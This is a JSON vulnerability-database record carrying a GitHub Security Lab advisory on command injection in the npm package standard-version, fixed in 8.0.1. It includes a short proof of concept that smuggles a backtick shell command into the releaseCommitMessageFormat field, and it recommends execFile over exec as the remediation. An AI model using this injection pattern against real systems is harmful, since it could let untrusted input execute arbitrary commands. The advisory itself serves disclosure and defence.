{"id":"GHSA-7xcx-6wjh-7xp2","aliases":[],"url":"https://o3.security/vulnerability/GHSA-7xcx-6wjh-7xp2","summary":"Command Injection in standard-version","details":"# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-111`\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified a potential security vulnerability in [standard-version](https://github.com/conventional-changelog/standard-version).\n\n## Summary\n\nThe `standardVersion` function has a command injection vulnerability. Clients of the `standard-version` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.\n\n## Product\nStandard Version\n \n## Tested Version\nCommit [2f04ac8](https://github.com/conventional-changelog/standard-version/tree/2f04ac8fc1c134a1981c23a093d4eece77d0bbb9/)\n\n## Details\n\n### Issue 1: Command injection in `standardVersion`\n\nThe following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:\n\n```\nnpm install standard-version\ngit init\necho \"foo\" > foo.txt # the git repo has to be non-empty\ngit add foo.txt\ngit commit -am \"initial commit\"\n```\n\nNow create a file with the following contents:\n\n```\nvar fs = require(\"fs\");\n// setting up a bit of environment\nfs.writeFileSync(\"package.json\", '{\"name\": \"foo\", \"version\": \"1.0.0\"}');\n\nconst standardVersion = require('standard-version')\n\nstandardVersion({\n  noVerify: true,\n  infile: 'foo.txt',\n  releaseCommitMessageFormat: \"bla `touch exploit`\"\n})\n```\n\nand run it:\n\n```\nnode test.js\n```\n\nNotice that a file named `exploit` has been created.\n\nThis vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:\n[CVE-2020-7646](https://github.com/advisories/GHSA-m8xj-5v73-3hh8),\n[CVE-2020-7614](https://github.com/advisories/GHSA-426h-24vj-qwxf),\n[CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh),\n[CVE-2019-10778](https://github.com/advisories/GHSA-4gp3-p7ph-x2jr),\n[CVE-2019-10776](https://github.com/advisories/GHSA-84cm-v6jp-gjmr),\n[CVE-2018-16462](https://github.com/advisories/GHSA-9jm3-5835-537m),\n[CVE-2018-16461](https://github.com/advisories/GHSA-7g2w-6r25-2j7p),\n[CVE-2018-16460](https://github.com/advisories/GHSA-cfhg-9x44-78h2),\n[CVE-2018-13797](https://github.com/advisories/GHSA-pp57-mqmh-44h7),\n[CVE-2018-3786](https://github.com/advisories/GHSA-c9j3-wqph-5xx9),\n[CVE-2018-3772](https://github.com/advisories/GHSA-wjr4-2jgw-hmv8),\n[CVE-2018-3746](https://github.com/advisories/GHSA-3pxp-6963-46r9),\n[CVE-2017-16100](https://github.com/advisories/GHSA-jcw8-r9xm-32c6),\n[CVE-2017-16042](https://github.com/advisories/GHSA-qh2h-chj9-jffq).\n\nWe have written a [CodeQL](https://codeql.com) query, which automatically detects this vulnerability. You can see the results of the query on the `standard-version` project [here](https://lgtm.com/query/237522640229151035/).\n\n#### Impact\n\nThis issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.\n\n#### Remediation\n\nWe recommend not using an API that can interpret a string as a shell command. For example, use [`child_process.execFile`](https://nodejs.org/api/child_process.html#child_process_child_process_execfile_file_args_options_callback) instead of [`child_process.exec`](https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback).\n\n## Credit\n\nThis issue was discovered and reported by GitHub Engineer [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include `GHSL-2020-111` in any communication regarding this issue.\n\n## Disclosure Policy\n\nThis report is subject to our [coordinated disclosure policy](https://securitylab.github.com/disclosures#policy).","published":"2020-07-13T21:34:59Z","modified":"2021-09-22T21:03:04Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"standard-version","fixedVersion":"8.0.1"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/conventional-changelog/standard-version/security/advisories/GHSA-7xcx-6wjh-7xp2"},{"type":"PACKAGE","url":"https://github.com/conventional-changelog/standard-version"},{"type":"WEB","url":"https://github.com/conventional-changelog/standard-version/tree/2f04ac8fc1c134a1981c23a093d4eece77d0bbb9"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2021-09-22T21:03:04Z"}}